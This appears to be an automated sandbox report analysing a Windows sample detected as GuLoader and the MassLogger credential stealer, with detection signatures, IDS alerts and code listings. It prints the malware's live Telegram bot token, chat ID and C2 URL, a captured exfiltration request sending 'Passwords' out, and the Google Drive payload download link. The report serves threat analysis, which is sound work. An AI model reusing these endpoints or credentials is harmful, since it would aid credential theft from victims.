Edit tour

Windows Analysis Report
4UQ5wnI389.exe

Overview

General Information

Sample name:	4UQ5wnI389.exe renamed because original name is a hash value
Original sample name:	280344d8a94a23a0e351b1c1553ed3f1ae6db9c06c75ecda292211f5562de552.exe
Analysis ID:	1588102
MD5:	f28c3285968229b7e0c723633fb5c161
SHA1:	8be784dccfd84953c94642021a261a4459c68df8
SHA256:	280344d8a94a23a0e351b1c1553ed3f1ae6db9c06c75ecda292211f5562de552
Tags:	exeGuLoaderuser-adrian__luca
Infos:

Detection

GuLoader, MassLogger RAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GuLoader

Yara detected MassLogger RAT

Yara detected Telegram RAT

AI detected suspicious sample

Disable Task Manager(disabletaskmgr)

Disables CMD prompt

Disables the Windows task manager (taskmgr)

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

4UQ5wnI389.exe (PID: 6064 cmdline: "C:\Users\user\Desktop\4UQ5wnI389.exe" MD5: F28C3285968229B7E0C723633FB5C161)

4UQ5wnI389.exe (PID: 5624 cmdline: "C:\Users\user\Desktop\4UQ5wnI389.exe" MD5: F28C3285968229B7E0C723633FB5C161)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendMessage"}

Threatname: MassLogger

{"EXfil Mode": "Telegram", "Telegram Token": "7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA", "Telegram Chatid": "1934716051"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.2743712849.0000000034E0B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000005.00000002.2743712849.0000000034E0B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2743712849.0000000034E0B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1940482380.0000000004709000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: 4UQ5wnI389.exe PID: 5624	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: 4UQ5wnI389.exe PID: 5624	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 4UQ5wnI389.exe PID: 5624	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 2 entries

Suricata Signatures

ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:25:36.607170+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49724	149.154.167.220	443	TCP
2025-01-10T21:25:38.885501+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49751	149.154.167.220	443	TCP
2025-01-10T21:25:42.267307+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49778	149.154.167.220	443	TCP
2025-01-10T21:25:43.686228+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49785	149.154.167.220	443	TCP
2025-01-10T21:25:46.161082+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49802	149.154.167.220	443	TCP
2025-01-10T21:25:48.476323+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49814	149.154.167.220	443	TCP
2025-01-10T21:25:49.899223+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49826	149.154.167.220	443	TCP
2025-01-10T21:25:51.442796+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49838	149.154.167.220	443	TCP
2025-01-10T21:25:54.951438+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49862	149.154.167.220	443	TCP
2025-01-10T21:26:02.454225+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49913	149.154.167.220	443	TCP
2025-01-10T21:26:06.180000+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49939	149.154.167.220	443	TCP
2025-01-10T21:26:12.402659+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49981	149.154.167.220	443	TCP
2025-01-10T21:26:13.818735+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49992	149.154.167.220	443	TCP
2025-01-10T21:26:16.222254+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	50006	149.154.167.220	443	TCP
2025-01-10T21:26:17.759166+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	50008	149.154.167.220	443	TCP
2025-01-10T21:26:26.089180+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	50011	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:25:26.788911+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49711	158.101.44.242	80	TCP
2025-01-10T21:25:33.617012+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49711	158.101.44.242	80	TCP
2025-01-10T21:25:38.007777+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49745	158.101.44.242	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:25:12.948033+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49708	142.250.186.78	443	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:25:34.243472+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49724	149.154.167.220	443	TCP
2025-01-10T21:25:38.597069+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49751	149.154.167.220	443	TCP
2025-01-10T21:25:42.066599+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49778	149.154.167.220	443	TCP
2025-01-10T21:25:43.511266+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49785	149.154.167.220	443	TCP
2025-01-10T21:25:45.909104+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49802	149.154.167.220	443	TCP
2025-01-10T21:25:47.365103+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49814	149.154.167.220	443	TCP
2025-01-10T21:25:49.719264+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49826	149.154.167.220	443	TCP
2025-01-10T21:25:51.193548+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49838	149.154.167.220	443	TCP
2025-01-10T21:25:54.693478+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49862	149.154.167.220	443	TCP
2025-01-10T21:26:02.276649+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49913	149.154.167.220	443	TCP
2025-01-10T21:26:05.931191+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49939	149.154.167.220	443	TCP
2025-01-10T21:26:12.110863+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49981	149.154.167.220	443	TCP
2025-01-10T21:26:13.640645+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49992	149.154.167.220	443	TCP
2025-01-10T21:26:16.047903+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	50006	149.154.167.220	443	TCP
2025-01-10T21:26:17.585743+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	50008	149.154.167.220	443	TCP
2025-01-10T21:26:25.835431+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	50011	149.154.167.220	443	TCP

HTTP traffic detected: POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd318b05b80552Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034E0B000.00000004.00000800.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034F16000.00000004.00000800.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000035038000.00000004.00000800.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034EC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034F16000.00000004.00000800.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000035038000.00000004.00000800.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034D2F000.00000004.00000800.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034EC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034D24000.00000004.00000800.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034E0B000.00000004.00000800.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034F16000.00000004.00000800.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000035038000.00000004.00000800.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034D2F000.00000004.00000800.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034EC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034CB1000.00000004.00000800.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2722332794.0000000004798000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: 4UQ5wnI389.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034D48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034CB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034E0B000.00000004.00000800.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034F16000.00000004.00000800.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000035038000.00000004.00000800.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034EC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034E0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034EC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934
Source: 4UQ5wnI389.exe, 00000005.00000003.2024010382.0000000004748000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: 4UQ5wnI389.exe, 00000005.00000002.2722332794.00000000046D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: 4UQ5wnI389.exe, 00000005.00000002.2722769300.00000000061C0000.00000004.00001000.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2722332794.0000000004712000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1jNXENZ8HhH2flLMcD7n_1A0wmK9-bvgf
Source: 4UQ5wnI389.exe, 00000005.00000002.2722332794.00000000046D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/w
Source: 4UQ5wnI389.exe, 00000005.00000003.2059854655.0000000004745000.00000004.00000020.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000003.2059745395.000000000473F000.00000004.00000020.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000003.2031235862.0000000004748000.00000004.00000020.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2722332794.000000000473E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: 4UQ5wnI389.exe, 00000005.00000003.2059854655.0000000004745000.00000004.00000020.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000003.2059745395.000000000473F000.00000004.00000020.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000003.2031235862.0000000004748000.00000004.00000020.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2722332794.000000000473E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/7
Source: 4UQ5wnI389.exe, 00000005.00000003.2024010382.0000000004748000.00000004.00000020.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2722332794.000000000472F000.00000004.00000020.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2722332794.0000000004712000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1jNXENZ8HhH2flLMcD7n_1A0wmK9-bvgf&export=download
Source: 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034D2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034D2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034D2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: 4UQ5wnI389.exe, 00000005.00000003.2024010382.0000000004748000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: 4UQ5wnI389.exe, 00000005.00000003.2024010382.0000000004748000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js
Source: 4UQ5wnI389.exe, 00000005.00000003.2024010382.0000000004748000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com/_/translate_http/_/js/;report-uri
Source: 4UQ5wnI389.exe, 00000005.00000003.2024010382.0000000004748000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: 4UQ5wnI389.exe, 00000005.00000003.2024010382.0000000004748000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: 4UQ5wnI389.exe, 00000005.00000003.2024010382.0000000004748000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: 4UQ5wnI389.exe, 00000005.00000003.2024010382.0000000004748000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: 4UQ5wnI389.exe, 00000005.00000003.2024010382.0000000004748000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724

Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.8:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.33:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:49724 version: TLS 1.2

Source: C:\Users\user\Desktop\4UQ5wnI389.exe

Code function: 0_2_0040558F GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_0040558F

Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 0_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004034A5
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		5_2_004034A5

Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 0_2_00404DCC	0_2_00404DCC
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 0_2_00406AF2	0_2_00406AF2
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 0_2_70141B5F	0_2_70141B5F
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_00404DCC	5_2_00404DCC
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_00406AF2	5_2_00406AF2
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_00154328	5_2_00154328
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_00158DA0	5_2_00158DA0
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_00155968	5_2_00155968
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_00155F90	5_2_00155F90
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_00152DD1	5_2_00152DD1
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37A67628	5_2_37A67628
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37A6C638	5_2_37A6C638
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37A6CCA0	5_2_37A6CCA0
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37A603AF	5_2_37A603AF
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37A6331A	5_2_37A6331A
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37A6581B	5_2_37A6581B
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37A6E790	5_2_37A6E790
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37A6DEE1	5_2_37A6DEE1
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37A6BD88	5_2_37A6BD88
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37A6CC91	5_2_37A6CC91
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37A6B4EC	5_2_37A6B4EC
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37A6EBF7	5_2_37A6EBF7
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37A6E339	5_2_37A6E339
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37A6DA89	5_2_37A6DA89
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37A6C1F2	5_2_37A6C1F2
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37A6B944	5_2_37A6B944
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37A6B07F	5_2_37A6B07F
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37A6F042	5_2_37A6F042
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37A67848	5_2_37A67848
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B196C8	5_2_37B196C8
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B18650	5_2_37B18650
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B1BDF0	5_2_37B1BDF0
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B19D10	5_2_37B19D10
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B11400	5_2_37B11400
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B1A360	5_2_37B1A360
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B1BA97	5_2_37B1BA97
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B1A9B0	5_2_37B1A9B0
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B167B0	5_2_37B167B0
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B10FA8	5_2_37B10FA8
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B1AFF7	5_2_37B1AFF7
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B1AFF8	5_2_37B1AFF8
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B167C0	5_2_37B167C0
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B15F10	5_2_37B15F10
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B15F01	5_2_37B15F01
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B13F70	5_2_37B13F70
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B13F60	5_2_37B13F60
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B136B0	5_2_37B136B0
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B196B8	5_2_37B196B8
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B136C0	5_2_37B136C0
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B12E10	5_2_37B12E10
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B15660	5_2_37B15660
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B15650	5_2_37B15650
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B18640	5_2_37B18640
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B14DB0	5_2_37B14DB0
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B14DA0	5_2_37B14DA0
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B19D00	5_2_37B19D00
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B12560	5_2_37B12560
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B12550	5_2_37B12550
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B11CB0	5_2_37B11CB0
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B174B8	5_2_37B174B8
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B11CA0	5_2_37B11CA0
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B174C8	5_2_37B174C8
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B16C18	5_2_37B16C18
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B16C09	5_2_37B16C09
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B143B9	5_2_37B143B9
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B113F0	5_2_37B113F0
